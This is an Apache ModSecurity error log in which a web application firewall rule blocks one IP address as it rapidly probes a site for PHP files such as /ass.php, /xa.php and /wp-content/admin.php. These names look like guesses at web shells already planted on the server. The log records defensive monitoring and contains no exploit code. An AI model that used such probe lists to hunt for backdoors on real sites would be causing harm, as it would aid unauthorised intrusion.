[Sun Apr 12 16:44:54.241929 2026] [:error] [pid 60280:tid 60283] [client 68.221.68.72:63978] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35_S.php"] [unique_id "adtbhnBlLnDOYuIykkgmAAAAAcE"]
[Sun Apr 12 16:44:55.139878 2026] [:error] [pid 25437:tid 25445] [client 68.221.68.72:65239] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adtbh3f97wYZje1ep_MPRQAAAMY"]
[Sun Apr 12 16:44:56.049004 2026] [:error] [pid 25437:tid 25449] [client 68.221.68.72:65257] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adtbiHf97wYZje1ep_MPRwAAAMo"]
[Sun Apr 12 16:44:56.680716 2026] [:error] [pid 26600:tid 26629] [client 68.221.68.72:64711] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adtbiO1YwAZiXhQKLYoPrQAAAYA"]
[Sun Apr 12 16:44:57.541631 2026] [:error] [pid 25328:tid 25369] [client 68.221.68.72:63471] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2026w.php"] [unique_id "adtbicxUaQZxT-e0YsDhhQAAAEU"]
[Sun Apr 12 16:44:58.501017 2026] [:error] [pid 26567:tid 26573] [client 68.221.68.72:64787] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adtbinhRpg6ptWFyFx2JAgAAAQQ"]
[Sun Apr 12 16:44:59.071894 2026] [:error] [pid 60280:tid 60298] [client 68.221.68.72:64029] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adtbi3BlLnDOYuIykkgmDgAAAdA"]
[Sun Apr 12 16:45:00.285958 2026] [:error] [pid 60280:tid 60296] [client 68.221.68.72:65273] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adtbjHBlLnDOYuIykkgmEgAAAc4"]
[Sun Apr 12 16:45:00.930097 2026] [:error] [pid 26599:tid 26603] [client 68.221.68.72:64023] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/111.php"] [unique_id "adtbjHG89LXoQbk_rwC0fQAAAUE"]
[Sun Apr 12 16:45:01.472889 2026] [:error] [pid 26599:tid 26606] [client 68.221.68.72:64710] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adtbjXG89LXoQbk_rwC0fgAAAUQ"]
[Sun Apr 12 16:45:02.160701 2026] [:error] [pid 26599:tid 26626] [client 68.221.68.72:65260] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adtbjnG89LXoQbk_rwC0gQAAAVg"]
[Sun Apr 12 16:45:03.013658 2026] [:error] [pid 25328:tid 25403] [client 68.221.68.72:65264] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adtbj8xUaQZxT-e0YsDhiQAAAFY"]
[Sun Apr 12 16:45:03.604853 2026] [:error] [pid 60280:tid 60303] [client 68.221.68.72:65329] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "adtbj3BlLnDOYuIykkgmGwAAAdU"]
[Sun Apr 12 16:45:04.208132 2026] [:error] [pid 60280:tid 60300] [client 68.221.68.72:63941] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adtbkHBlLnDOYuIykkgmHgAAAdI"]
[Sun Apr 12 16:45:04.776735 2026] [:error] [pid 60280:tid 60288] [client 68.221.68.72:65322] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adtbkHBlLnDOYuIykkgmIgAAAcY"]
[Sun Apr 12 16:45:05.399279 2026] [:error] [pid 26600:tid 26633] [client 68.221.68.72:64007] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adtbke1YwAZiXhQKLYoPrwAAAYQ"]
[Sun Apr 12 16:45:06.297435 2026] [:error] [pid 26600:tid 26650] [client 68.221.68.72:64806] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "adtbku1YwAZiXhQKLYoPswAAAZU"]
[Sun Apr 12 16:45:06.865461 2026] [:error] [pid 26600:tid 26643] [client 68.221.68.72:65343] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adtbku1YwAZiXhQKLYoPtQAAAY4"]
[Sun Apr 12 16:45:07.523766 2026] [:error] [pid 26567:tid 26570] [client 68.221.68.72:65259] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adtbk3hRpg6ptWFyFx2JDAAAAQE"]
[Sun Apr 12 16:45:08.247095 2026] [:error] [pid 25437:tid 25444] [client 68.221.68.72:65325] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adtblHf97wYZje1ep_MPTgAAAMU"]
[Sun Apr 12 16:45:09.093600 2026] [:error] [pid 25328:tid 25375] [client 68.221.68.72:64781] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "adtblcxUaQZxT-e0YsDhjQAAAEk"]
[Sun Apr 12 16:45:09.708569 2026] [:error] [pid 60280:tid 60291] [client 68.221.68.72:63511] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adtblXBlLnDOYuIykkgmLAAAAck"]
[Sun Apr 12 16:45:10.359428 2026] [:error] [pid 26599:tid 26620] [client 68.221.68.72:64739] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adtblnG89LXoQbk_rwC0gwAAAVI"]
[Sun Apr 12 16:45:11.008800 2026] [:error] [pid 26600:tid 26630] [client 68.221.68.72:65289] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adtbl-1YwAZiXhQKLYoPtwAAAYE"]
[Sun Apr 12 16:45:11.829455 2026] [:error] [pid 25437:tid 25455] [client 68.221.68.72:65238] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwpg.php"] [unique_id "adtbl3f97wYZje1ep_MPUgAAANA"]
[Sun Apr 12 16:45:12.602532 2026] [:error] [pid 25328:tid 25372] [client 68.221.68.72:64821] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adtbmMxUaQZxT-e0YsDhkQAAAEc"]
[Sun Apr 12 16:45:13.207473 2026] [:error] [pid 25328:tid 25368] [client 68.221.68.72:63505] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adtbmcxUaQZxT-e0YsDhkwAAAEQ"]
[Sun Apr 12 16:45:14.397134 2026] [:error] [pid 26599:tid 26604] [client 68.221.68.72:65233] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adtbmnG89LXoQbk_rwC0hAAAAUI"]
[Sun Apr 12 16:45:15.139681 2026] [:error] [pid 26600:tid 26649] [client 68.221.68.72:64753] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ass.php"] [unique_id "adtbm-1YwAZiXhQKLYoPvgAAAZQ"]
[Sun Apr 12 16:45:15.775723 2026] [:error] [pid 26599:tid 26613] [client 68.221.68.72:65244] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adtbm3G89LXoQbk_rwC0hgAAAUs"]
[Sun Apr 12 16:45:16.328564 2026] [:error] [pid 25437:tid 25462] [client 68.221.68.72:63939] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adtbnHf97wYZje1ep_MPVQAAANc"]
[Sun Apr 12 16:45:17.483100 2026] [:error] [pid 25328:tid 25408] [client 68.221.68.72:64047] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adtbncxUaQZxT-e0YsDhlwAAAFg"]
[Sun Apr 12 16:45:18.138850 2026] [:error] [pid 60280:tid 60288] [client 68.221.68.72:64794] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "adtbnnBlLnDOYuIykkgmPAAAAcY"]
[Sun Apr 12 16:45:18.914055 2026] [:error] [pid 60280:tid 60282] [client 68.221.68.72:61678] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adtbnnBlLnDOYuIykkgmQAAAAcA"]
[Sun Apr 12 16:45:19.696993 2026] [:error] [pid 25328:tid 25366] [client 68.221.68.72:64045] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adtbn8xUaQZxT-e0YsDhmgAAAEI"]
[Sun Apr 12 16:45:20.397663 2026] [:error] [pid 25328:tid 25394] [client 68.221.68.72:64769] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adtboMxUaQZxT-e0YsDhnQAAAFI"]
[Sun Apr 12 16:45:21.166024 2026] [:error] [pid 25327:tid 25347] [client 68.221.68.72:64826] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adtboS6h2tZEVJo9JFK4QQAAAAs"]
[Sun Apr 12 16:45:21.926124 2026] [:error] [pid 60280:tid 60289] [client 68.221.68.72:63942] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adtboXBlLnDOYuIykkgmRQAAAcc"]
[Sun Apr 12 16:45:22.506472 2026] [:error] [pid 26600:tid 26645] [client 68.221.68.72:65293] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adtbou1YwAZiXhQKLYoPwwAAAZA"]
[Sun Apr 12 16:45:23.231505 2026] [:error] [pid 26600:tid 26638] [client 68.221.68.72:65229] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adtbo-1YwAZiXhQKLYoPxgAAAYk"]
[Sun Apr 12 16:45:23.951588 2026] [:error] [pid 25437:tid 25456] [client 68.221.68.72:64792] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "adtbo3f97wYZje1ep_MPWQAAANE"]
[Sun Apr 12 16:45:24.505970 2026] [:error] [pid 26600:tid 26637] [client 68.221.68.72:64748] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adtbpO1YwAZiXhQKLYoPyAAAAYg"]
[Sun Apr 12 16:45:25.152669 2026] [:error] [pid 60280:tid 60285] [client 68.221.68.72:64049] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adtbpXBlLnDOYuIykkgmSAAAAcM"]
[Sun Apr 12 16:45:25.822042 2026] [:error] [pid 26600:tid 26643] [client 68.221.68.72:65256] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adtbpe1YwAZiXhQKLYoPyQAAAY4"]
[Sun Apr 12 16:45:26.383658 2026] [:error] [pid 26567:tid 26569] [client 68.221.68.72:64784] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zample.php"] [unique_id "adtbpnhRpg6ptWFyFx2JFAAAAQA"]
[Sun Apr 12 16:45:27.363972 2026] [:error] [pid 26599:tid 26614] [client 68.221.68.72:64830] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adtbp3G89LXoQbk_rwC0kQAAAUw"]
[Sun Apr 12 16:45:28.003843 2026] [:error] [pid 25327:tid 25340] [client 68.221.68.72:64826] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adtbqC6h2tZEVJo9JFK4RgAAAAQ"]
[Sun Apr 12 16:45:28.567474 2026] [:error] [pid 25328:tid 25375] [client 68.221.68.72:64729] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adtbqMxUaQZxT-e0YsDhpgAAAEk"]
[Sun Apr 12 16:45:29.556758 2026] [:error] [pid 26567:tid 26588] [client 68.221.68.72:64765] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "adtbqXhRpg6ptWFyFx2JFwAAARM"]
[Sun Apr 12 16:45:30.511059 2026] [:error] [pid 26600:tid 26639] [client 68.221.68.72:65217] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adtbqu1YwAZiXhQKLYoP0QAAAYo"]
[Sun Apr 12 16:45:31.310737 2026] [:error] [pid 25327:tid 25353] [client 68.221.68.72:63992] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adtbqy6h2tZEVJo9JFK4TAAAABE"]
[Sun Apr 12 16:45:32.407889 2026] [:error] [pid 25327:tid 25343] [client 68.221.68.72:62852] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adtbrC6h2tZEVJo9JFK4TwAAAAc"]
[Sun Apr 12 16:45:33.360572 2026] [:error] [pid 25327:tid 25337] [client 68.221.68.72:64790] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "adtbrS6h2tZEVJo9JFK4UQAAAAE"]
[Sun Apr 12 16:45:36.310838 2026] [:error] [pid 25328:tid 25401] [client 68.221.68.72:64789] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adtbsMxUaQZxT-e0YsDhsAAAAFU"]
[Sun Apr 12 16:45:37.585832 2026] [:error] [pid 60280:tid 60289] [client 68.221.68.72:64778] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "adtbsXBlLnDOYuIykkgmTAAAAcc"]
[Sun Apr 12 16:45:47.724185 2026] [:error] [pid 25437:tid 25457] [client 68.221.68.72:64021] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adtbu3f97wYZje1ep_MPiAAAANI"]
